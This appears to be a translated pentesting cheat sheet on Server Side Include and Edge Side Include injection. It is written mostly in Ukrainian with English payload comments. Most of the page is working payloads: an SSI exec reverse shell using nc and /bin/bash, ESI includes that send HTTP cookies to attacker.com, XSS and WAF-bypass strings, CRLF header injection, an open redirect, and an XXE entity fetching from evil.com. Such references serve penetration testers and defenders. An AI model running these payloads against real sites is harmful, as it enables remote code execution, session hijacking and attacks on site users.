Server Side Inclusion/Edge Side Inclusion Injection

Reading time: 7 minutes

Server Side Inclusion Basic Information

(Introduction taken from Apache docs)

SSI (Server Side Includes) - це директиви, які розміщуються в HTML-сторінках і оцінюються на сервері під час їх обслуговування. Вони дозволяють вам додавати динамічно згенерований контент до існуючої HTML-сторінки, не обслуговуючи всю сторінку через CGI-програму або іншу динамічну технологію.
Наприклад, ви можете вставити директиву в існуючу HTML-сторінку, таку як:

<!--#echo var="DATE_LOCAL" -->

І, коли сторінка обслуговується, цей фрагмент буде оцінений і замінений на його значення:

Tuesday, 15-Jan-2013 19:28:54 EST

Рішення про те, коли використовувати SSI, а коли повністю генерувати вашу сторінку якоюсь програмою, зазвичай залежить від того, скільки з сторінки є статичним, а скільки потрібно перераховувати щоразу, коли сторінка обслуговується. SSI - це чудовий спосіб додати невеликі шматочки інформації, такі як поточний час - показаний вище. Але якщо більшість вашої сторінки генерується в момент її обслуговування, вам потрібно шукати інше рішення.

Ви можете зробити висновок про наявність SSI, якщо веб-додаток використовує файли з розширеннями .shtml, .shtm або .stm, але це не єдиний випадок.

Типове вираження SSI має наступний формат:

<!--#directive param="value" -->

Перевірка

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Є проблема кешування інформації або динамічних додатків, оскільки частина контенту може варіюватися для наступного отримання контенту. Саме для цього використовується ESI, щоб вказати за допомогою тегів ESI динамічний контент, який потрібно згенерувати перед відправкою кешованої версії.
Якщо зловмисник зможе впровадити тег ESI всередину кешованого контенту, тоді він зможе впровадити довільний контент у документ перед його відправкою користувачам.

ESI Detection

Наступний заголовок у відповіді від сервера означає, що сервер використовує ESI:

Surrogate-Control: content="ESI/1.0"

Якщо ви не можете знайти цей заголовок, сервер може використовувати ESI в будь-якому випадку.
Можна також використовувати сліпий підхід до експлуатації, оскільки запит має надійти на сервер атакуючого:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI експлуатація

GoSecure створив таблицю для розуміння можливих атак, які ми можемо спробувати проти різного програмного забезпечення, що підтримує ESI, залежно від підтримуваної функціональності:

• Includes: Підтримує директиву <esi:includes>
• Vars: Підтримує директиву <esi:vars>. Корисно для обходу фільтрів XSS
• Cookie: Документні куки доступні для ESI-двигуна
• Необхідні заголовки з верхнього рівня: Сурогатні програми не оброблятимуть ESI-інструкції, якщо програма з верхнього рівня не надає заголовки
• Список дозволених хостів: У цьому випадку ESI включення можливі лише з дозволених серверних хостів, що робить SSRF, наприклад, можливим лише проти цих хостів

XSS

Наступна директива ESI завантажить довільний файл всередині відповіді сервера

<esi:include src=http://attacker.com/xss.html>

Обхід захисту XSS клієнта

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Вкрасти Cookie

• Віддалене вкрадення cookie

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Вкрасти cookie HTTP_ONLY за допомогою XSS, відображаючи його у відповіді:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Приватний локальний файл

Не плутайте це з "Локальним включенням файлів":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

Наступне додасть заголовок Location до відповіді

<!--esi $add_header('Location','http://attacker.com') -->

Додати заголовок

• Додати заголовок у примусовий запит

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Додайте заголовок у відповіді (корисно для обходу "Content-Type: text/json" у відповіді з XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF в заголовку Add (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Це надішле інформацію для налагодження, включену у відповідь:

<esi:debug/>

ESI + XSLT = XXE

Можливо використовувати eXtensible Stylesheet Language Transformations (XSLT) синтаксис в ESI, просто вказавши значення параметра dca як xslt. Це може дозволити зловживати XSLT для створення та зловживання вразливістю XML External Entity (XXE):

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT файл:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Перевірте сторінку XSLT:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Посилання

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Список виявлення грубої сили

Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub